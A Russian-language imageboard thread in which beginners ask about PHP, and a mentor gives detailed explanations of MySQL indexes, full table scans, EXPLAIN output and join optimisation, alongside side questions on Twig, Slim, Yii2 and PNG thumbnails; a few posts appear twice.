Кстати, аноны, а не охуевше в дс будет попросить 25-30к? Знаю пхп немного, ковырял слим. Большие фреймфорки не трогал. Могу над домом поиздеваться средствами нативного жс, жиквери в глаза не видел. Могу в SQL немного, инсерт, селект, там, джойны. Знаю про индексы и зачем они нужны. Уооот.
259 Кб, 900x710
#230 #561413
>>561155

>Я подумал, написать готовый ответ будет неинтересно


Ну а так офигеть как интересно.

Короче я тогда пошел читать про индексы и структуры данных.
Смысл говорить об оптимизации поиска, если я не понимаю, что такое индекс и как он работает, а ты вместо того чтобы объяснить спрашиваешь меня о том, чего я не знаю.

Гарсиа-Молина и ко. "Системы баз данных", вроде ничего по оглавлению.
#231 #561417
>>561393
мне нужно два. Один на всю ширину страницы, а второй для позиционирования вспомогательных элементов возле изображения
#232 #561443
>>561184

> Слушай, меня это больше всего злит, что нигде толком не объясняется, как на самом деле оно работает, и приходится угадывать (чаще всего неверно).


Это да, но вопрос был как в принципе можно выполнить эти запросы наилучшим образом. То есть определить потолок выше которого СУБД точно не прыгнет.

А затем ты бы мог попробовать выполнить эти запросы на тестовой таблице и проверить свои догадки.

Я для начала опишу общий принцип выборки данных, без учета конкретных оптимизаций (про них можно почитать например тут: http://dev.mysql.com/doc/refman/5.6/en/select-optimization.html - там много информации ).

Основной метод выполнения SELECT это FULL SCAN, полный обход таблицы. MySQL пытается избежать его, как кошка воды (например найти и использовать индекс), но если оптимизации применить не удается, он остается как последний и универсальный вариант. И самый медленный.

FULL SCAN помечается словом ALL в поле type в результатах EXPLAIN.

FULL SCAN это чтение всех строк таблицы по очереди. Если таблица большая, идет чтение данных с диска блоками какого-то размера, если небольшая, то может быть нам повезет и часть или все строки уже есть в памяти (конкретно в innodb buffer pool: https://dev.mysql.com/doc/refman/5.5/en/innodb-buffer-pool.html - если ты помнишь, под эту область обычно отводят почти всю доступную память) и мы читаем их оттуда.

Данные читаются по строкам, и каждая строка по очереди проверяется на соответствие условию WHERE. Те строки, которые не подходят под условие, отбрасываются.

Затем, если указаны GROUP BY/ORDER BY, делается группировка и сортировка. Сортировка обычно помечается в запросе как Using filesort. Если WHERE отобрал немного записей, это все будет быстро, если WHERE ничего не отфильтровал и таблица огромная, то не очень, так как алгоритмы сортировки обычно имеют сложность порядка O(N x log2(N)), плюс нужна память чтобы удерживать в ней сортируемое поле и id строк.

После этого применяется условие LIMIT, лишние строки отбрасываются. А затем для оставшихся строк выбираются указанные в SELECT поля.

При наличии джойнов мы должны еще присоединить связанные записи. Это делается в цикле, если у нас есть SELECT FROM a JOIN b ON condition, то мы берем по очереди каждую строку из таблицы a которая прошла через отбор WHERE, и ищем соответствующие ей записи в b по условию condition.

Это называется nested loop join: http://dev.mysql.com/doc/refman/5.6/en/nested-loop-joins.html

Обрати внимание, что если здесь не удастся использовать индекс, то мы можем получить минимум еще один FULL SCAN, теперь уже таблицы b. Без оптимизаций мы получаем столько фуллсканов, сколько выбрано строк в таблице a, потому MySQL применяет такую оптимизацию: она накапливает строки из таблицы a в специальном буфере join buffer и делает 1 фуллскан для всех строк из этого буфера. Соответственно число фуллсканов по таблице b уменьшается, вплоть до одного, если все найденные строки из a влезли в этот буфер.

Если джойнов несколько, то все может быть еще тяжелее.

В общем, фулл скан это самый медленный способ работы с таблицами. Он приемлем если в таблице 100 строк, но больших таблицах их не должно быть. Что касается джойнов, они должны делаться по индексам, иначе есть риск получить фуллсканы в цикле nested join loop.

Фуллскан обычно видно по времени выполнения запроса, это секунды и больше.

Как я написал выше, к фулл скану мы возвращаемся если не удалось применить оптимизации. Первая и главная из них - это использование индекса. Если условие WHERE или ORDER + LIMIT позволяет сделать поиск в индексе, мы можем взять id строк подпадающих под условия из индекса, и работать только с ними. Если это позволит нам отобрать всего несколько строк из огромной таблицы, мы спасены,а запрос выполняется как правило, меньше чем за миллисекунду.

Ну и выборка меньшего числа строк значит что есть вероятность, что они уже загружены в память в buffer pool и нам не придется обращаться к диску.

Ну и повторю ссылку про разные виды оптимизаций которые применяет MySQL: http://dev.mysql.com/doc/refman/5.6/en/select-optimization.html
#232 #561443
>>561184

> Слушай, меня это больше всего злит, что нигде толком не объясняется, как на самом деле оно работает, и приходится угадывать (чаще всего неверно).


Это да, но вопрос был как в принципе можно выполнить эти запросы наилучшим образом. То есть определить потолок выше которого СУБД точно не прыгнет.

А затем ты бы мог попробовать выполнить эти запросы на тестовой таблице и проверить свои догадки.

Я для начала опишу общий принцип выборки данных, без учета конкретных оптимизаций (про них можно почитать например тут: http://dev.mysql.com/doc/refman/5.6/en/select-optimization.html - там много информации ).

Основной метод выполнения SELECT это FULL SCAN, полный обход таблицы. MySQL пытается избежать его, как кошка воды (например найти и использовать индекс), но если оптимизации применить не удается, он остается как последний и универсальный вариант. И самый медленный.

FULL SCAN помечается словом ALL в поле type в результатах EXPLAIN.

FULL SCAN это чтение всех строк таблицы по очереди. Если таблица большая, идет чтение данных с диска блоками какого-то размера, если небольшая, то может быть нам повезет и часть или все строки уже есть в памяти (конкретно в innodb buffer pool: https://dev.mysql.com/doc/refman/5.5/en/innodb-buffer-pool.html - если ты помнишь, под эту область обычно отводят почти всю доступную память) и мы читаем их оттуда.

Данные читаются по строкам, и каждая строка по очереди проверяется на соответствие условию WHERE. Те строки, которые не подходят под условие, отбрасываются.

Затем, если указаны GROUP BY/ORDER BY, делается группировка и сортировка. Сортировка обычно помечается в запросе как Using filesort. Если WHERE отобрал немного записей, это все будет быстро, если WHERE ничего не отфильтровал и таблица огромная, то не очень, так как алгоритмы сортировки обычно имеют сложность порядка O(N x log2(N)), плюс нужна память чтобы удерживать в ней сортируемое поле и id строк.

После этого применяется условие LIMIT, лишние строки отбрасываются. А затем для оставшихся строк выбираются указанные в SELECT поля.

При наличии джойнов мы должны еще присоединить связанные записи. Это делается в цикле, если у нас есть SELECT FROM a JOIN b ON condition, то мы берем по очереди каждую строку из таблицы a которая прошла через отбор WHERE, и ищем соответствующие ей записи в b по условию condition.

Это называется nested loop join: http://dev.mysql.com/doc/refman/5.6/en/nested-loop-joins.html

Обрати внимание, что если здесь не удастся использовать индекс, то мы можем получить минимум еще один FULL SCAN, теперь уже таблицы b. Без оптимизаций мы получаем столько фуллсканов, сколько выбрано строк в таблице a, потому MySQL применяет такую оптимизацию: она накапливает строки из таблицы a в специальном буфере join buffer и делает 1 фуллскан для всех строк из этого буфера. Соответственно число фуллсканов по таблице b уменьшается, вплоть до одного, если все найденные строки из a влезли в этот буфер.

Если джойнов несколько, то все может быть еще тяжелее.

В общем, фулл скан это самый медленный способ работы с таблицами. Он приемлем если в таблице 100 строк, но больших таблицах их не должно быть. Что касается джойнов, они должны делаться по индексам, иначе есть риск получить фуллсканы в цикле nested join loop.

Фуллскан обычно видно по времени выполнения запроса, это секунды и больше.

Как я написал выше, к фулл скану мы возвращаемся если не удалось применить оптимизации. Первая и главная из них - это использование индекса. Если условие WHERE или ORDER + LIMIT позволяет сделать поиск в индексе, мы можем взять id строк подпадающих под условия из индекса, и работать только с ними. Если это позволит нам отобрать всего несколько строк из огромной таблицы, мы спасены,а запрос выполняется как правило, меньше чем за миллисекунду.

Ну и выборка меньшего числа строк значит что есть вероятность, что они уже загружены в память в buffer pool и нам не придется обращаться к диску.

Ну и повторю ссылку про разные виды оптимизаций которые применяет MySQL: http://dev.mysql.com/doc/refman/5.6/en/select-optimization.html
#233 #561471
>>561184

> > Если индекс покрывающий (то есть содержит значения полей полностью, а не частично)


> А обычный индекс что, хранит частично? Наверное, минимальный кусочек строки/числа, достаточный для корректной сортировки.



> Кажется, за эту длину отвечает key_len. Она одинаковая для всех строк индекса?


Да, key_len показывает длину строк индекса и да, она одинаковая.

Если ты добавляешь в индекс поле типа INT/DATETIME то оно хранится в нем целиком, так как оно маленькое. Если ты добавляешь поле VARCHAR то ты можешь добавить его не целиком, а только первые N символов (префикс). Текстовые поля могут быть большие, и это позволяет уменьшить размер индекса.

Зачем надо уменьшать размер индекса?

Куски индексов, как и куски таблиц, хранятся в buffer pool и подгружаются с диска по мере надобности. Чем меньше индекс, тем выше вероятность, что он целиком окажется в buffer pool. И наоборот, большой индекс может тупо не поместиться туда или быть вытеснен другими данными.

Поиск по индексу идет методом деления пополам, если индекса нет в памяти мы получаем много случайных медленных обращений к диску. InnoDB работает лучше всего если все активные индексы лежат в памяти. Это в том числе значит что buffer pool должен быть больше чем размер «горячих» активно исплоьзуемых индексов.

Попробуем оценить размер индексов. Возьмем индекс по полю INT, которое имеет размер 4 байта ( https://dev.mysql.com/doc/refman/5.0/en/storage-requirements.html ). Одна строчка индекса содержит один INT + id строки который допустим весит 6 байтов. Получается, 10 байтов на строку, 10 Мб на индекс с миллионом значений, 10 Гб на миллиардный индекс. Да, если у тебя например 128 Гб памяти на сервере, ты вполне можешь в эту память засунуть индекс от таблицы с миллиардом строк и выборка по индексу будет работать быстро.

А теперь оценим размер индекса по полю вида email VARCHAR(200). В utf8 под один символ отводится 3 байта так что строка индекса весит 606 байт которые мы округлим до 600. Для миллиона значений такой индекс весит 600 Мб, для миллиарда 600 Гб.

Если же мы исплоьзуем префикс и положим в индекс только первые 20 символов: ADD INDEX idxEmail (email(20)) то мы имеем всего 60 байт на строку индекса.

Конечно такой индекс работает чуть хуже. Например поиск по длинному email может выбрать чуть больше строк чем надо, но их можно отфильтровать проверкой значения email хранящегося в поле таблицы.

Посмотреть сколько реально занимает индекс (и данные таблицы) можно командой SHOW TABLE STATUS LIKE 'table_name'\G (попробуй ее выполнить).

Заодно можешь оценить все ли хорошо в твоей базе и как размер buffer pool в конфиге соотносится с размером индексов.
#233 #561471
>>561184

> > Если индекс покрывающий (то есть содержит значения полей полностью, а не частично)


> А обычный индекс что, хранит частично? Наверное, минимальный кусочек строки/числа, достаточный для корректной сортировки.



> Кажется, за эту длину отвечает key_len. Она одинаковая для всех строк индекса?


Да, key_len показывает длину строк индекса и да, она одинаковая.

Если ты добавляешь в индекс поле типа INT/DATETIME то оно хранится в нем целиком, так как оно маленькое. Если ты добавляешь поле VARCHAR то ты можешь добавить его не целиком, а только первые N символов (префикс). Текстовые поля могут быть большие, и это позволяет уменьшить размер индекса.

Зачем надо уменьшать размер индекса?

Куски индексов, как и куски таблиц, хранятся в buffer pool и подгружаются с диска по мере надобности. Чем меньше индекс, тем выше вероятность, что он целиком окажется в buffer pool. И наоборот, большой индекс может тупо не поместиться туда или быть вытеснен другими данными.

Поиск по индексу идет методом деления пополам, если индекса нет в памяти мы получаем много случайных медленных обращений к диску. InnoDB работает лучше всего если все активные индексы лежат в памяти. Это в том числе значит что buffer pool должен быть больше чем размер «горячих» активно исплоьзуемых индексов.

Попробуем оценить размер индексов. Возьмем индекс по полю INT, которое имеет размер 4 байта ( https://dev.mysql.com/doc/refman/5.0/en/storage-requirements.html ). Одна строчка индекса содержит один INT + id строки который допустим весит 6 байтов. Получается, 10 байтов на строку, 10 Мб на индекс с миллионом значений, 10 Гб на миллиардный индекс. Да, если у тебя например 128 Гб памяти на сервере, ты вполне можешь в эту память засунуть индекс от таблицы с миллиардом строк и выборка по индексу будет работать быстро.

А теперь оценим размер индекса по полю вида email VARCHAR(200). В utf8 под один символ отводится 3 байта так что строка индекса весит 606 байт которые мы округлим до 600. Для миллиона значений такой индекс весит 600 Мб, для миллиарда 600 Гб.

Если же мы исплоьзуем префикс и положим в индекс только первые 20 символов: ADD INDEX idxEmail (email(20)) то мы имеем всего 60 байт на строку индекса.

Конечно такой индекс работает чуть хуже. Например поиск по длинному email может выбрать чуть больше строк чем надо, но их можно отфильтровать проверкой значения email хранящегося в поле таблицы.

Посмотреть сколько реально занимает индекс (и данные таблицы) можно командой SHOW TABLE STATUS LIKE 'table_name'\G (попробуй ее выполнить).

Заодно можешь оценить все ли хорошо в твоей базе и как размер buffer pool в конфиге соотносится с размером индексов.
#234 #561472
>>561413
Лошара-оп сам не знает ответа)
Его когда что-то спрашивают, он сразу лезит в ман и рерайтит слово в слово, что там написано. В этот раз, видимо, не успел.
#235 #561474
>>561184

Я дополню еще. Даже если индекс по миллиардострочной таблице весит 600 Гб, не помещается в память и требует обращений к диску, он все равно может быть полезен, ведь таблица весит еще больше и без индекса фуллскан по ней будет в тысячи раз медленее.
66 Кб, 632x689
#236 #561492
>>561471
Я вообще с нетбука с 2гб памяти. Придется запускаться с lxde, чтобы сэкономить пару сотен мегабайт.

Странно, что кол-во записей в этой команде show table не совпадает с count (пик).

Кстати, почему count такой медленный? Что с ним можно сделать?
#237 #561494
>>561184

> Я могу конечно попробовать погадать, хотя это не очень продуктивно.


Ты можешь сделать таблицу (или использовать сущуствующую) и потестировать на ней. Потестируй-ка и сделай EXPLAIN для каждого запроса.

> SELECT × FROM t ORDER BY a LIMIT 10


> Выбирает из индекса все id записей в том порядке, в каком они хранятся в индексе, поскольку в индексе они уже отсортированы в нужном порядке.


Тут применяется оптимизация ORDER + LIMIT, то есть просто берется первые 10 записей из индекса и находятся строки для них. Это очень быстро.

http://dev.mysql.com/doc/refman/5.6/en/order-by-optimization.html

Заметь что выборка вроде ORDER BY a LIMIT 100000, 20 будет менее эффективной: нам придется обойти первые 100 000 значений в индексе по очереди чтобы добраться до нужных 20 (индекс не позволяет искать по позиции в нем), но это все равно может быть быстрее чем фуллскан.

> SELECT × FROM t ORDER BY b LIMIT 10


> Так как по колонке b нет индекса, то наверное будет столько раз проходить по всей таблице, сколько в ней записей. Берем первую запись из таблицы, кладем куда-то в память (в переменной), сравниваем с ней вторую.


Да, будет фуллскан, только сортировка обычно делается более эффективным алгоритмом, который имеет сложность около O(N × log2(N)), а не O(N × N) как у тебя.

Это пример неэффективной работы с базой: мы выбираем миллион записей, сортируем и оставляем 10. А зачем мы тогда тратили время на остальные 999 990? А если в таблице миллиард записей? Тогда записи могут не поместиться в память и сортировку придется делать с использованием временных (огромных) файлов на диске.

увидеть это можно по надписи using filesort в EXPLAIN и по слову ALL.

> SELECT x FROM t WHERE a > ? ORDER BY a LIMIT 10


> Бинарным поиском находим искомое значение в индексе и отдаем все записи после данной


Верно.

> SELECT x FROM t WHERE b <> ? ORDER BY a LIMIT 10


> Проходим по всем строкам таблицы и отбираем строки, удовлетворяющие условию. Затем наверное бегаем по индексу


Ой, это фуллскан, это очень невыгодно. Ведь строк может быть очень много.

Нет, в данном случае тоже можно применить оптимизацию ORDER + LIMIT. Mysql идет по индексу, выбирая строки по возрастанию a, и каждую строку проверяет на соответствие условию WHERE пока не наберется 10 подходящих строк.

Если большинство строк соотвествуют условию b <> ? то это будет быстро. Если 99% строк не соответстуют, то нам придется обойти 1000 записей ради 10, но скорее всего это все равно выгоднее фуллскана.

> SELECT MAX(a) FROM t


> Тут все просто, берем последнюю строку из индекса.


Верно, в EXPLAIN это помечается как select optimized away по моему.

> SELECT MAX(a) FROM t WHERE a < ?


> Находим бинарным поиском значение ?, отбрасываем записи ниже найденной.


Затем возвращаем последнее значение из этого набора.
Находим в индексе строчку где a = ? и берем значение a из предыдущей - это примерно так будет работать.

Я все же рекомендую еще выполнить такие запросы (и посмотреть время) и посмотреть EXPLAIN для них на какой-нибудь таблице - чтобы научиться различать хорошие и плохие запросы.
#237 #561494
>>561184

> Я могу конечно попробовать погадать, хотя это не очень продуктивно.


Ты можешь сделать таблицу (или использовать сущуствующую) и потестировать на ней. Потестируй-ка и сделай EXPLAIN для каждого запроса.

> SELECT × FROM t ORDER BY a LIMIT 10


> Выбирает из индекса все id записей в том порядке, в каком они хранятся в индексе, поскольку в индексе они уже отсортированы в нужном порядке.


Тут применяется оптимизация ORDER + LIMIT, то есть просто берется первые 10 записей из индекса и находятся строки для них. Это очень быстро.

http://dev.mysql.com/doc/refman/5.6/en/order-by-optimization.html

Заметь что выборка вроде ORDER BY a LIMIT 100000, 20 будет менее эффективной: нам придется обойти первые 100 000 значений в индексе по очереди чтобы добраться до нужных 20 (индекс не позволяет искать по позиции в нем), но это все равно может быть быстрее чем фуллскан.

> SELECT × FROM t ORDER BY b LIMIT 10


> Так как по колонке b нет индекса, то наверное будет столько раз проходить по всей таблице, сколько в ней записей. Берем первую запись из таблицы, кладем куда-то в память (в переменной), сравниваем с ней вторую.


Да, будет фуллскан, только сортировка обычно делается более эффективным алгоритмом, который имеет сложность около O(N × log2(N)), а не O(N × N) как у тебя.

Это пример неэффективной работы с базой: мы выбираем миллион записей, сортируем и оставляем 10. А зачем мы тогда тратили время на остальные 999 990? А если в таблице миллиард записей? Тогда записи могут не поместиться в память и сортировку придется делать с использованием временных (огромных) файлов на диске.

увидеть это можно по надписи using filesort в EXPLAIN и по слову ALL.

> SELECT x FROM t WHERE a > ? ORDER BY a LIMIT 10


> Бинарным поиском находим искомое значение в индексе и отдаем все записи после данной


Верно.

> SELECT x FROM t WHERE b <> ? ORDER BY a LIMIT 10


> Проходим по всем строкам таблицы и отбираем строки, удовлетворяющие условию. Затем наверное бегаем по индексу


Ой, это фуллскан, это очень невыгодно. Ведь строк может быть очень много.

Нет, в данном случае тоже можно применить оптимизацию ORDER + LIMIT. Mysql идет по индексу, выбирая строки по возрастанию a, и каждую строку проверяет на соответствие условию WHERE пока не наберется 10 подходящих строк.

Если большинство строк соотвествуют условию b <> ? то это будет быстро. Если 99% строк не соответстуют, то нам придется обойти 1000 записей ради 10, но скорее всего это все равно выгоднее фуллскана.

> SELECT MAX(a) FROM t


> Тут все просто, берем последнюю строку из индекса.


Верно, в EXPLAIN это помечается как select optimized away по моему.

> SELECT MAX(a) FROM t WHERE a < ?


> Находим бинарным поиском значение ?, отбрасываем записи ниже найденной.


Затем возвращаем последнее значение из этого набора.
Находим в индексе строчку где a = ? и берем значение a из предыдущей - это примерно так будет работать.

Я все же рекомендую еще выполнить такие запросы (и посмотреть время) и посмотреть EXPLAIN для них на какой-нибудь таблице - чтобы научиться различать хорошие и плохие запросы.
#238 #561503
>>561191

В mysql используется nested join loop. Нужен индекс по t.a или по u.b чтобы быстро искать нужные строки (там фактически в цикле будут делаться запросы SELECT FROM u WHERE u.b = ? )

JOIN позволяет также делать пару оптимизаций: во-первых, mysql может выбирать порядок в каком джойнить таблицы (так как a JOIN b то же самое что b JOIN a), во-вторых для INNER JOIN условия ON и WHERE это одно и то же.

Mysql постарается сделать порядок выборки так, чтобы из первой таблицы выбрать меньше строк и использовать индекс.

В данном примере есть условие WHERE u.c = ?, если есть индекс по u.c то выгоднее сначала выбрать строки из u и приджойнить к ним t.

LEFT JOIN жестко задает порядок джойна, а условие в ON не равносильно WHERE. Простора для оптимизации меньше.

> Что поменяется если мы поменяем условие ON на ON t.a + u.b = 100 ?


Мы не можем использовать индекс для поиска строк в приджойниваемой таблице и перейдем к фуллскану по ней. Плохо, особенно если она большая.

Также, при джойнах не работает (по крайней мере не работало последний раз когда я проверял) объединение индексов:

WHERE a = 1 OR b = 2 - объединение возможно
JOIN u ON a = x OR b = y - фуллскан
#239 #561505
>>561387

А можно в 2 раза меньше.
#240 #561507
>>561413

Ок, выглядит интересно, только прочти еще в мануале MySQL какие именно виды индексов там применяются:

http://dev.mysql.com/doc/refman/5.6/en/optimization-indexes.html
http://dev.mysql.com/doc/refman/5.6/en/mysql-indexes.html

> Most MySQL indexes (PRIMARY KEY, UNIQUE, INDEX, and FULLTEXT) are stored in B-trees.



Ну и EXPLAIN не забудь поделать на запросах. Теория это одно, а практика другое.

>>561472

Умение гуглить и читать мануал это очень полезно, не все так умеют почему-то.
#241 #561511
https://github.com/andr1an/inventorize/commit/e13d2d5f43700fccab3dbe36d0bbd684af04762e

Стал постепенно убирать echo-говно из кода, буду переходить на какой-нибудь движок с шаблонами. Работу с базой буду сам писать.
#242 #561514
>>561492

Так это либо фуллскан либо обход всего индекса получается, а у тебя наверно еще buffer pool маленький? Я выше написал, что индексы должны в идеале помещаться в память, тогда он хотя бы будет без обращений к диску работать (но обходить индекс все равно придется).

Напиши-ка что показывает SHOW VARIABLES LIKE "%buffer%"

И не забывай писать SELECT SQL_NO_CACHE при тестировании, а то можно из кеша запросов результат получить.

Решение тут по видимому только кеш, либо кеш запросов на уровне MySQL (который сбрасывается при любой записи в таблицу: https://dev.mysql.com/doc/refman/5.1/en/query-cache.html ) либо кеш в приложении. Например ты можешь завести ячейку в memcache/redis, и увеличивать ее на 1 при добавлении объявления.

Из-за ошибок значение в кеше будет расходиться с реальным, придется добавить крон скрит который например раз в час пересчитывает это число.
#243 #561517
>>561511

Рекомендую современный мощный шаблонизатор twig (вдохновлен питоноским jinja). Он умеет например сам делать htmlspecialchars с выводимыми данными, и синтаксис удобный.

Насчет БД, прежде чем велосипедить, почитай про PDO и про паттерны работы с БД: https://github.com/codedokode/pasta/blob/master/db/patterns-oop.md
#244 #561520
>>561517
а условия в твиг есть?
#245 #561526
>>561520
Есть.
#246 #561527
>>561511

Насчет фреймворка, если ты хочешь минималистичный фреймворк, который предоставляет минимум готового, смотри в сторону Slim: http://www.slimframework.com/

Если большой фреймворк в котором все наготово, то Юи 2.
#247 #561530
>>561526
а в yii2 твиг можно внедрить? и какие подводные камни?
#248 #561532
>>561492

Row count это примерная оценка: https://dev.mysql.com/doc/refman/5.1/en/show-table-status.html

> The number of rows. Some storage engines, such as MyISAM, store the exact count. For other storage engines, such as InnoDB, this value is an approximation, and may vary from the actual value by as much as 40 to 50%. In such cases, use SELECT COUNT(*) to obtain an accurate count.

#249 #561535
>>561527
Попробую уж лучше Slim. Кейс в том, чтобы сделать такую лёгкую инвентаризационную систему, чтобы она на самом слабом сервере работала быстро. Вообще я хотел сначала писать систему с mongoDB, но нихуянепонял
#250 #561537
>>561517
Ох, спасибо! Постараюсь переписать в скором времени всю работу с БД, особенно мой кривой query builder для выборки equipment с фильтрами.
#251 #561539
>>561535

Ты поставил задачу так что решить ее нельзя. Что значит «на самом слабом сервере»? Всегда можно найти какой-нибудь дохлый щаред хостинг на котором даже хелло ворлд будет полчаса выполняться.

Да и вообще ты неправильно делаешь, ты бы померял скорость работы фреймворка на своем сервере, а только потом решал, быстрый он или нет.
#252 #561542
как вы соединяете все это говно вместе? заливаю слим композером - не подключается слим. без композера не работает автоподгрузка классов в слиме. заливаю слим в папку, подключаю, дозаливаю твиг, подключаю - не пашет твиг. да ебаны в рот.
#253 #561548
>>561542
Я просто делал все как в мануалах.
#254 #561572
Привет, пхпанон.
У меня есть хуева туча вордовских таблиц, их нужно перевести в хтмл. Руками получаеться очень много работы, есть какие-то идеии, как это автоматизировать? Возможно есть библиотеки для роботы с docx или что-то в этом роде?
#255 #561573
>>561572
*идеи
#256 #561574
>>561572
зачем в ворде с таблицами работать, если есть ексель?
для php есть phpexcel
#257 #561578
>>561574

>зачем в ворде с таблицами работать, если есть ексель?


Понятия не имею, формат выбирал не я и это было очень давно.
За наводку на phpexcel спасибо
#258 #561580
>>561548
А я по-твоему как делал?
36 Кб, 443x437
#259 #561593
>>561514
pool 128 mb (как по умолчанию),
из них как я понимаю 16 мегабайт под индексы.

Да, наверное мне придется все кешировать, потому что я на своем калькуляторе вряд ли смогу выделить много памяти.
На компе 8 гигов, но там ничего не установлено, и вообще там windows.
#260 #561595
>>561580
Не знаю.
#261 #561597
Анон, есть форма регистрации на вордпрессе. Нужно пресекать попытки зарегистрироваться с почтой на определенных доменах, но при этом информация о неудачной попытке регистрации должна как-нибудь храниться (бд, файлик, еще как-нибудь - неважно). Пхп не знаю, знаю немного жс.
Пока вижу только одно решение - отсылать пост в пхп, обрабатывать его и в случае недопустимого домена возвращать ошибку. Т.е. одним жсом это дело не решить, верно?
#262 #561599
Я теперь понял, почему оп делает такие низкокачественные статьи с кучей ошибок. Он намеренно сливает конкурентов.
#263 #561600
>>561580
я тоже хз.
а хули ты хотел?
готовься к ебле. всегда.
за это ты будешь вознагражден, через какое-то время ты начнешь шарить что к чему и почему не работает, мозги начнут лучше соображать и всё станет легко. Ты главное логи смотри
#264 #561603
>>561599
хорошо, раз оп такой плохой, предлагаю тебе найти опа получше, а не засорять тред.
#265 #561617
>>561597
Кнопка отправки формы стандартная или с кастомным обработчиком? Если второе, то можно сделать все, что угодно.
#266 #561625
>>561597
>>561617
П.С.

>но при этом информация о неудачной попытке регистрации должна как-нибудь храниться


Это значит, что в любом случае должно быть сообщение серверу ю, которое он должен обработать. А это значит, что придется писать пхп-код.
#267 #561631
>>561625
Но проверить домен мейла ты можешь и на клиенте с помощью жс, если на кнопке стоит обработчик. А на сервер просто отправлять аякс запрос, если домен не из списка разрешенных.
#268 #561632
>>561625
Кнопка с обработчиком конечно же. Недопустимые домены скриптом отклонить просто. Но появилась необходимость еще и фиксировать неудавшиеся попытки, что для меня усложнило задачу.

>придется писать пхп-код.


Sad
6 Кб, 361x193
4 Кб, 294x232
#269 #561668
>>560748

>Еще я заметил баг: если загрузить прозрачную PNG то у превьюшки будет черный фон


Так разве это баг? Вот сейчас сделал полностью прозрачную картинку в фотошопе, вот как она выглядит на превью. Точно так же выглядит и её тамбнейл.тамбнейл открываю в фотошопе - с прозрачностью всё ок. А так я пробовал сделать:

>. А надо создавать прозрачную подложку, ее можно сделать например отключив alphablending и закрасив картинку прозрачным цветом


Через imagecolortransparent(черная картинка), изображение просто не создаётся, не знаю в чем дело.
#270 #561673
>>561668
Сделай превью для картинки с прозрачным фоном, например
http://sitiogroup.com/img/technology/1418900779cd66b57d0b2656bb89857af4c33139ea2d.png

Тебе нужна http://php.net/manual/ru/function.imagecolorallocatealpha.php
9 Кб, 100x96
#271 #561674
>>561673
Вот. Кстати, заметил, что при создании прозрачной картинки она отображается с черным фоном, а после того, как обновить страницу, то есть когда она читается с диска фон уже белый.
#272 #561705
>>561668

>>Еще я заметил баг: если загрузить прозрачную PNG то у превьюшки будет черный фон


Дополнение: черный фон у превьюшки будет только в первый раз, то есть когда она отдается скриптом. Если обновить страницу, то все нормально, превьюшка тоже прозрачная.

Это видимо из-за того что ты делаешь там createimagefrompng + imagepng без правильной настройки imagesaveealpha.

Ты кстати разобрался, что делают функции imagesavealpha и imagealphablending? А также чем отличается PNG8 от PNG24 (он же PNG32)? Важно понимать.

> Вот сейчас сделал полностью прозрачную картинку в фотошопе, вот как она выглядит на превью.


Там тоже баг значит.

>>561674

Верно, проблема именно в этом.
#273 #561719
Аноны, нид хелп, в общем задается положение блока с помощью функции через calc, дело в том, что пока значение calc отрицательно - всё ок, когда значение становится положительным - сайт идет по пизде. Можно ли как то выключать calc, когда его значение >=0?
#274 #561720
https://github.com/MindiMakridi/RESTFUL/
Вроде всё исправил.
#275 #561725
>>561719
А всё, просто через @медиа. Анон как обычно нихуя не пришел на помощь.
#276 #561744
#277 #561799
Стоит ли использовать фронт контроллер паттерн для принятия данных методом гет и пост? Ну он же формирует массив значений, удобно типа.
#278 #562017
>>558058 (OP)
Доброе утро, ОП! Следуя твоим мудрым советам, всё ещё ковыряюсь в регэкспах
1) Задача про автоисправление ошибок. Перечитал урок, про \\b действительно там не увидел.
Сделал функцию, определяющую регистр (избавился от if) и сделал так, что не искажается регистр (меняю только 1 букву и всё).
Пробовал реализовать

>Массив + цикл можно заменить на несколько вызовов функции


но обнаружил, что по сути написал тупую обёртку к той же preg_replace_callback - http://ideone.com/FQ0Jb1
ведь для каждого случая у меня разные 1) шаблон 2) коллбек, то есть мне их каждый раз отправлять, что тут можно повторно использовать не знаю. Единственное что можно было с текстом как с глобальной переменной работать, и тут вызов функции мог бы быть проще, но я так понял, глобальные переменные так лучше не использовать. В итоге вернулся к копипасту 3 раза как тут http://ideone.com/bD3KGf , всё равно красивее, чем мешанина из массивов.
В общем видимо тут уже ничего не улучшишь
2) Задача на автозамену http://ideone.com/c6pWA1
3) Задача на поиск e-mail http://ideone.com/RKsUDb тут я хотел сделать так, чтобы если в e-mail какой-то косяк, то он бы вообще не выводился, даже его часть, которая формально бы подходила, но столкнулся с разными вариантами, я там в тексте описал. Может быть, в этой задаче не надо так глубоко копать, но я пытаюсь поставить себя на твоё место и найти какие-нибудь скользкие варианты
Спасибо
#279 #562019
На собеседованиях часто спрашивают не портфолио, но хотя бы какой-нибудь свой проект. Что можно сделать в качестве такого проекта?
#280 #562022
>>562019
Я, лично, студентов и файлообменник из оп-поста планирую показывать.
#281 #562024
>>562022
А лет тебе сколько? Студент?
#282 #562028
>>562024
21. Бывший, пидорнут из двух вузов.
#283 #562046
>>562028
Вся суть пхп-макак.

мимопроходил.
#284 #562049
поясните ньюфагу за движок на котором построено
http://fixam.ru/requests/new/?type=repair
очень нужна инфа как сделать подобное
на чем строится такое? смs?
я сук как даун 3 дня сёрфю в гугле - инфы вообще не собрал
#285 #562051
Если я не могу редактировать непосредственно php.ini, я могу подключить extension длл библиотеку для отладки через иде?
#286 #562057
>>560054

>это тема «сетевые технологии» и «сетевое программирование», я могу учить но пока никто не высказал желания


Кстати да, посоветуй, пожалуйста, учебник или курс какой-нибудь по этой теме. Так что-бы совсем для новичков
54 Кб, 600x400
#287 #562199
Всем привет. Учусь в шараге, 4 курс и мне сегодня сказали, что диплом я буду писать на PHP- журнал с обработкой базы данных(там будут данные по студентам колледжа, в котором я учусь- подобные проекты еще у 3 одногруппников и мы фактически пишем один большой проект, у каждого свой равный кусок, видимо абузит нас препод). Поэтому, прошу у вас литературы, источников:
- собственно PHP. С кодингом немного знаком, т.е. совсем для даунов можете не давать а можете и давать, ваше дело. Т.е. источник где есть информация по PHP.
- PHP при взаимодействии с базой данных. И так, с SQL я не знаком, буду рад литературе и информации по базам данных и взаимодействию онных в PHP.
- AJAX- то же, что и выше, но при взаимодействии с AJAX.

Заранее спасибо, рассчитываю на вас.
4290 Кб, Webm
#288 #562200
Антоши, пытаюсь настроить в yii2 RBAC, делаю всё так, как здесь: http://habrahabr.ru/post/235485/ , но при попытке выполнить [code]yii rbac/init [/code] выдаётся следующее:
Exception 'yii\base\InvalidCallException' with message 'Setting read-only property: yii\console\Application::authManager'
